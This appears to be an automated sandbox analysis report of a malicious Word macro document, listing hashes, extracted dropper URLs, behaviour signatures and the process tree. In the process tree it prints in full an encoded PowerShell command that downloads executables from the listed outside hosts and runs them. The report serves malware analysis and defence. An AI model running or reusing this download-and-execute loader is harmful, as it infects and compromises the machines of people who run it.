Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    31-05-2024 04:44

General

  • Target

    86010329f41a0cd3a726783a92c3f94b_JaffaCakes118.doc

  • Size

    179KB

  • MD5

    86010329f41a0cd3a726783a92c3f94b

  • SHA1

    0d8ece625c1360381b6508d5d6f1d19074474505

  • SHA256

    c78cf5346497f3b9c5cb2f0734b631178c25eb818adf58b25aba4c7d6313f442

  • SHA512

    6a9a3174f8f259f7dfafd383aba49b90597764998c0c629657ea0bf9407aac290abe8f99cfdf7f2b0d9a949385fa2a8cfaa2d0f8eaaf3ba95b92383c5b062dc2

  • SSDEEP

    1536:uasrbYasrb2rdi1Ir77zOH98Wj2gpng9+a9dSGIRK9b/WYjd2LO6h/QC27Tovo:crfrzOH98ipgFSGYK9TngLOm27Tovo

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://sasystemsuk.com/index_files/j9b/

exe.dropper

https://case.gonukkad.com/sys-cache/fmC/

exe.dropper

http://vandamebuilders.com/wp-includes/OEyjc9x/

exe.dropper

https://nilinkeji.com/online/Dmz/

exe.dropper

http://paganwitch.com/wp-admin/CmubpSk/

exe.dropper

http://www.ekramco.ir/english/fn/

exe.dropper

http://votesteve.us/closed_zone/Bk/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\86010329f41a0cd3a726783a92c3f94b_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2060
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2808
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -en JABRAGcAbgB1AHoAawBxAD0AKAAnAFkAJwArACcAMgAnACsAKAAnAHIAdQBqAGUAJwArACcAYQAnACkAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBzAEUAUgBQAFIATwBGAEkATABlAFwASgBIAEEAaQBOAEcARwBcAGUANwBwAFoANQBfAFcAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBDAFQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAEMAYABVAGAAUgBJAHQAYAB5AHAAUgBvAFQAbwBjAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAMgAsACcAKQArACgAJwAgAHQAJwArACcAbABzADEAMQAnACkAKwAnACwAIAAnACsAJwB0AGwAJwArACcAcwAnACkAOwAkAEUANQBuADkAMQBzAGoAIAA9ACAAKAAoACcAVAAnACsAJwAxADQAJwApACsAJwBnAG4AJwArACcAMAAnACkAOwAkAFkAeQA5AGoAeAAyAHkAPQAoACgAJwBFAGkAJwArACcAdQAnACkAKwAnAGsAdAAnACsAJwBlADEAJwApADsAJABDADYAcABxAHMAZwBuAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAJwArACcAMAB9AEoAaAAnACsAKAAnAGEAJwArACcAaQBuAGcAJwApACsAJwBnAHsAMAB9AEUANwAnACsAJwBwAHoANQBfAHcAewAwAH0AJwApACAALQBmACAAWwBDAGgAYQBSAF0AOQAyACkAKwAkAEUANQBuADkAMQBzAGoAKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABDADMANQBrAHcAMQB4AD0AKAAnAEIAJwArACgAJwA2AG4AJwArACcAOQAnACkAKwAoACcAZAAnACsAJwBnAHEAJwApACkAOwAkAEYANgBuAHIAbwBlADEAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQBUAC4AVwBFAEIAQwBMAGkAZQBuAFQAOwAkAEoAbABtAHgAbgB4AGMAPQAoACgAJwBoAHQAdAAnACsAJwBwADoAJwArACcALwAvACcAKQArACgAJwBzAGEAJwArACcAcwB5ACcAKQArACcAcwB0ACcAKwAoACcAZQBtACcAKwAnAHMAdQBrACcAKQArACgAJwAuAGMAJwArACcAbwBtACcAKQArACgAJwAvAGkAbgBkACcAKwAnAGUAJwArACcAeAAnACkAKwAoACcAXwBmACcAKwAnAGkAbABlACcAKQArACgAJwBzAC8AJwArACcAagAnACkAKwAnADkAJwArACgAJwBiAC8AKgBoACcAKwAnAHQAdAAnACkAKwAnAHAAJwArACgAJwBzACcAKwAnADoALwAvACcAKQArACgAJwBjAGEAJwArACcAcwAnACsAJwBlAC4AZwBvACcAKQArACcAbgAnACsAJwB1ACcAKwAoACcAawBrAGEAZAAuAGMAJwArACcAbwAnACsAJwBtACcAKQArACcALwAnACsAKAAnAHMAJwArACcAeQBzACcAKQArACgAJwAtACcAKwAnAGMAYQAnACkAKwAnAGMAaAAnACsAKAAnAGUALwBmAG0AQwAvACcAKwAnACoAaAAnACkAKwAnAHQAJwArACgAJwB0ACcAKwAnAHAAOgAnACkAKwAnAC8AJwArACgAJwAvAHYAJwArACcAYQAnACkAKwAoACcAbgAnACsAJwBkAGEAJwApACsAKAAnAG0AJwArACcAZQBiAHUAJwApACsAJwBpACcAKwAnAGwAZAAnACsAKAAnAGUAJwArACcAcgBzACcAKQArACgAJwAuAGMAJwArACcAbwBtAC8AdwBwACcAKQArACcALQAnACsAJwBpACcAKwAoACcAbgBjAGwAdQAnACsAJwBkAGUAcwAvACcAKwAnAE8AJwApACsAJwBFAHkAJwArACcAagBjACcAKwAoACcAOQB4AC8AJwArACcAKgAnACkAKwAnAGgAdAAnACsAKAAnAHQAcABzADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwBuAGkAbAAnACsAJwBpAG4AJwApACsAJwBrAGUAJwArACcAagAnACsAKAAnAGkAJwArACcALgBjAG8AbQAnACkAKwAoACcALwBvACcAKwAnAG4AbABpACcAKwAnAG4AZQAvACcAKQArACcARABtACcAKwAoACcAegAvACoAJwArACcAaAB0AHQAJwApACsAKAAnAHAAOgAvAC8AJwArACcAcABhACcAKQArACgAJwBnAGEAJwArACcAbgB3AGkAJwApACsAKAAnAHQAYwAnACsAJwBoAC4AJwApACsAKAAnAGMAbwBtAC8AdwAnACsAJwBwAC0AYQAnACkAKwAnAGQAJwArACcAbQBpACcAKwAoACcAbgAnACsAJwAvAEMAbQB1AGIAcABTACcAKwAnAGsAJwApACsAJwAvACcAKwAnACoAaAAnACsAJwB0AHQAJwArACcAcAA6ACcAKwAoACcALwAnACsAJwAvAHcAdwAnACsAJwB3AC4AZQBrACcAKQArACgAJwByACcAKwAnAGEAbQBjACcAKQArACcAbwAnACsAJwAuACcAKwAnAGkAcgAnACsAJwAvAGUAJwArACgAJwBuAGcAbAAnACsAJwBpAHMAaAAnACsAJwAvACcAKwAnAGYAbgAvACoAJwArACcAaAB0AHQAcAAnACkAKwAnADoALwAnACsAJwAvACcAKwAoACcAdgAnACsAJwBvAHQAZQBzAHQAJwApACsAKAAnAGUAJwArACcAdgBlAC4AdQBzAC8AJwApACsAKAAnAGMAJwArACcAbABvAHMAZQAnACkAKwAoACcAZAAnACsAJwBfAHoAbwAnACkAKwAoACcAbgBlAC8AJwArACcAQgAnACkAKwAnAGsALwAnACkALgAiAFMAcABMAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUwBuAHAAOAAyAGEANAA9ACgAKAAnAEgAXwAnACsAJwBrACcAKQArACcAbAAxACcAKwAnADUAcgAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABOAGIAcgBnAG8AbwBoACAAaQBuACAAJABKAGwAbQB4AG4AeABjACkAewB0AHIAeQB7ACQARgA2AG4AcgBvAGUAMQAuACIAZABPAFcAbgBMAE8AQQBEAEYAYABpAGAAbABFACIAKAAkAE4AYgByAGcAbwBvAGgALAAgACQAQwA2AHAAcQBzAGcAbgApADsAJABCAHkAMQBvAHUAegBoAD0AKAAoACcAQQAyACcAKwAnAGkAJwApACsAKAAnADQAJwArACcAbgAxACcAKQArACcAeQAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAQwA2AHAAcQBzAGcAbgApAC4AIgBMAEUAbgBgAEcAVABIACIAIAAtAGcAZQAgADIAMAAxADkAMwApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAZQAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACgAJABDADYAcABxAHMAZwBuACkAOwAkAEQAdwBnADEANABsAGMAPQAoACgAJwBKAF8AJwArACcAdwBxACcAKQArACcAbABzACcAKwAnAGgAJwApADsAYgByAGUAYQBrADsAJABMADcAcQByAGIANwBhAD0AKAAnAEYANwAnACsAJwBhADQAJwArACgAJwBhACcAKwAnAGMAdgAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASAB0AHcAaQBsAGgAagA9ACgAKAAnAFEAcQBnACcAKwAnADEAJwApACsAKAAnAHYAMwAnACsAJwAxACcAKQApAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2452

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      57c6be56237773476cf43c235f0ecd5c

      SHA1

      d825052c3db1e88b0c13dc4faf5a53c4af9acc47

      SHA256

      cb8776860c0a927e5929560ff1d549ca132b853083ef6e6e339ce5b7ae582526

      SHA512

      d39ad11601c58d4fa64105798019cb95eb5b1d4a1ebf91136196292c39d7b8625a50bed1da2a4a46861a68521730d62a8701eb7e478c914ebf92f60912d31ccf

    • memory/2060-33-0x0000000005C50000-0x0000000005D50000-memory.dmp

      Filesize

      1024KB

    • memory/2060-70-0x0000000070E4D000-0x0000000070E58000-memory.dmp

      Filesize

      44KB

    • memory/2060-32-0x0000000005C50000-0x0000000005D50000-memory.dmp

      Filesize

      1024KB

    • memory/2060-7-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2060-22-0x0000000005C50000-0x0000000005D50000-memory.dmp

      Filesize

      1024KB

    • memory/2060-21-0x0000000005C50000-0x0000000005D50000-memory.dmp

      Filesize

      1024KB

    • memory/2060-8-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2060-28-0x0000000005C50000-0x0000000005D50000-memory.dmp

      Filesize

      1024KB

    • memory/2060-6-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2060-2-0x0000000070E4D000-0x0000000070E58000-memory.dmp

      Filesize

      44KB

    • memory/2060-0-0x000000002FF51000-0x000000002FF52000-memory.dmp

      Filesize

      4KB

    • memory/2060-69-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2060-45-0x0000000070E4D000-0x0000000070E58000-memory.dmp

      Filesize

      44KB

    • memory/2060-47-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/2060-48-0x0000000005E50000-0x0000000005F50000-memory.dmp

      Filesize

      1024KB

    • memory/2060-49-0x0000000005C50000-0x0000000005D50000-memory.dmp

      Filesize

      1024KB

    • memory/2060-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2452-39-0x000000001B640000-0x000000001B922000-memory.dmp

      Filesize

      2.9MB

    • memory/2452-40-0x0000000001F00000-0x0000000001F08000-memory.dmp

      Filesize

      32KB